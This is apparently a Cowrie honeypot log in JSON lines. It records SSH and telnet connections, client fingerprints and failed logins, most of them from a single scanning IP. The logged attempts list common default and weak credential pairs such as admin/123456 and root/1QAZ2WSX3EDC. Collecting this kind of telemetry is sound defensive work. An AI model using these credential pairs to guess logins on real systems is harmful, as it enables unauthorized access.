{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47286,"dst_ip":"10.17.0.5","dst_port":22,"session":"751748a65e9f","protocol":"ssh","message":"New connection: 141.11.88.14:47286 (10.17.0.5:22) [session: 751748a65e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:44.613118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:44.734019Z","src_ip":"141.11.88.14","session":"751748a65e9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:44.738979Z","src_ip":"141.11.88.14","session":"751748a65e9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:45.686408Z","src_ip":"141.11.88.14","session":"751748a65e9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:45.728729Z","src_ip":"36.92.41.115","session":"513f9e1918c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:46.829429Z","src_ip":"141.11.88.14","session":"751748a65e9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61736,"dst_ip":"10.17.0.5","dst_port":22,"session":"4be1076fa16b","protocol":"ssh","message":"New connection: 141.11.88.14:61736 (10.17.0.5:22) [session: 4be1076fa16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:52.006958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:52.085447Z","src_ip":"141.11.88.14","session":"4be1076fa16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:52.155867Z","src_ip":"141.11.88.14","session":"4be1076fa16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"password","message":"login attempt [web/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:52.861407Z","src_ip":"141.11.88.14","session":"4be1076fa16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:54.030352Z","src_ip":"141.11.88.14","session":"4be1076fa16b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25184,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e5167c1a19","protocol":"ssh","message":"New connection: 141.11.88.14:25184 (10.17.0.5:22) [session: 83e5167c1a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:58.608921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:58.658868Z","src_ip":"141.11.88.14","session":"83e5167c1a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:58.699805Z","src_ip":"141.11.88.14","session":"83e5167c1a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"redmine","message":"login attempt [redmine/redmine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:59.303287Z","src_ip":"141.11.88.14","session":"83e5167c1a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:00.716230Z","src_ip":"141.11.88.14","session":"83e5167c1a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56650,"dst_ip":"159.203.135.109","dst_port":23,"session":"ade8fb0d129b","protocol":"telnet","message":"New connection: 128.199.8.54:56650 (159.203.135.109:23) [session: ade8fb0d129b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:01.221705Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25246,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c2b085d0e2","protocol":"ssh","message":"New connection: 141.11.88.14:25246 (10.17.0.5:22) [session: 26c2b085d0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:05.805798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:05.852209Z","src_ip":"141.11.88.14","session":"26c2b085d0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:05.969756Z","src_ip":"141.11.88.14","session":"26c2b085d0e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:06.975749Z","src_ip":"141.11.88.14","session":"26c2b085d0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:08.280830Z","src_ip":"141.11.88.14","session":"26c2b085d0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22792,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a28754c9c7a","protocol":"ssh","message":"New connection: 141.11.88.14:22792 (10.17.0.5:22) [session: 7a28754c9c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:12.809000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:12.862067Z","src_ip":"141.11.88.14","session":"7a28754c9c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:12.951178Z","src_ip":"141.11.88.14","session":"7a28754c9c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:13.790394Z","src_ip":"141.11.88.14","session":"7a28754c9c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:14.878185Z","src_ip":"141.11.88.14","session":"7a28754c9c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e291c6528bcd","protocol":"ssh","message":"New connection: 141.11.88.14:39826 (10.17.0.5:22) [session: e291c6528bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:19.258131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:19.288251Z","src_ip":"141.11.88.14","session":"e291c6528bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:19.378853Z","src_ip":"141.11.88.14","session":"e291c6528bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX3EDC","message":"login attempt [root/1QAZ2WSX3EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:19.716924Z","src_ip":"141.11.88.14","session":"e291c6528bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:20.866415Z","src_ip":"141.11.88.14","session":"e291c6528bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":38842,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf4ba2869be7","protocol":"telnet","message":"New connection: 94.23.66.112:38842 (10.17.0.5:23) [session: bf4ba2869be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:26.385377Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39876,"dst_ip":"10.17.0.5","dst_port":22,"session":"db736ff58e61","protocol":"ssh","message":"New connection: 141.11.88.14:39876 (10.17.0.5:22) [session: db736ff58e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:26.507802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:26.538624Z","src_ip":"141.11.88.14","session":"db736ff58e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:26.633386Z","src_ip":"141.11.88.14","session":"db736ff58e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:26.968510Z","src_ip":"141.11.88.14","session":"db736ff58e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:28.052404Z","src_ip":"141.11.88.14","session":"db736ff58e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":14114,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0323a9e0703","protocol":"ssh","message":"New connection: 177.85.247.230:14114 (10.17.0.5:22) [session: f0323a9e0703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:28.325693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:28.335056Z","src_ip":"177.85.247.230","session":"f0323a9e0703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:28.438454Z","src_ip":"177.85.247.230","session":"f0323a9e0703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steamcmd","password":"steam","message":"login attempt [steamcmd/steam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:28.888330Z","src_ip":"177.85.247.230","session":"f0323a9e0703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:30.008350Z","src_ip":"177.85.247.230","session":"f0323a9e0703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48294,"dst_ip":"10.17.0.5","dst_port":22,"session":"3636a1084e10","protocol":"ssh","message":"New connection: 141.11.88.14:48294 (10.17.0.5:22) [session: 3636a1084e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:32.319141Z"}
